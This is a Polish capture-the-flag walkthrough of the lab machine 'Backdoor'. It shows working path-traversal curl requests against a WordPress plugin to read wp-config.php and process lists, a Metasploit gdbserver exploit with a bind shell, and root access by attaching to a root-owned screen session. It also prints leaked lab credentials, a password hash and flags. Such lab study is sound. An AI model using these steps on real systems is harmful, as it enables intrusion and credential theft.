Backdoor - 22.11.2021


NMap

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.129.106.242
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 22:36 CET
Nmap scan report for backdoor.htb (10.129.106.242)
Host is up (0.072s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Strona główna

Strona wygląda na Wordpress.


WpScan

wpscan --url backdoor.htb
Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09).
[+] WordPress theme in use: twentyseventeen
 | Location: http://backdoor.htb/wp-content/themes/twentyseventeen/
 | Latest Version: 2.8 (up to date)
 | Last Updated: 2021-07-22T00:00:00.000Z

Zatem wiadomo, że na Wordpressie jest użytkownik admin


Enumeracja folderu plugins

Plugin ebook-download. Możliwe, że zawiera ciekawe informacje.


Informacje

franta@masd.cz

Plugin: Contributors: zedna Tags: ebook, file, download Requires at least: 3.0.4 Tested up to: 4.4 Stable tag: 1.1


Szybkie googlowanie w poszukiwaniu potencjalnych exploitów na plugin ebook-downloader

I jest potencjalny exploit

https://www.exploit-db.com/exploits/39575


LFI

curl http://10.129.106.242/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

wordpressuser:MQYBJSaD#DxG6qbm

/etc/passwd

user:x:1000:1000:user:/home/user:/bin/bash

Po godzinach prób, odkryłem, że można sprawdzić uruchomione procesy:

curl http://10.129.106.242/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../proc/sched_debug

Plik oczyściłem tak, by uzyskać jedynie nazwy uruchomionych procesów

cat procesy.txt | awk '{print $2}' | sort -u > procesy.txt

Googlowanie nietypowych nazw w końcu dało jakiś rezultat

Wynika z tego, że na serwerze jest uruchomiony gdbserver


Okazuje się, że pod portem 1337 znajduje się właśnie ta usługa.


Próby exploitu gdbserver

Użyłem Metasploit z modułem multi/gdb/gdb_server_exec. Z uwagi, że jestem w miejscu gdzie jest firewall, musiałem ustawić inny payload niż zwykle:

set payload linux/x64/shell/bind_tcp

user.txt

8af3bf9ba355001010d38211b1897f5f


Privilege Escalation

Tym poleceniem szukam wszystkich plików SUID.

find / -perm -4000 2>/dev/null

Jest jedna ciekawa pozycja:

/usr/bin/screen

Jednak jest potrzebne hasło obecnego użytkownika user, zatem prawdopodobnie musimy poszukać w bazie MySql.


Baza MySql (cli)

mysql -u wordpressuser --password=MQYBJSaD#DxG6qbm -D wordpress -e 'show databases;'

mysql -u wordpressuser --password=MQYBJSaD#DxG6qbm -D wordpress -e 'select * FROM wp_users;'

admin:$P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5.



EDIT

Hasha nie udało się złamać. Okazało się, że jest proste rozwiązanie problemu. Aby uruchomić screen esklalując uprawnienia, należy ustawić opcje terminala:

export TERM='vt100'

Teraz wpisując

screen -x root/

Uzyskujemy roota

root.txt

4cf8759e22af263a555dc9289caacf1d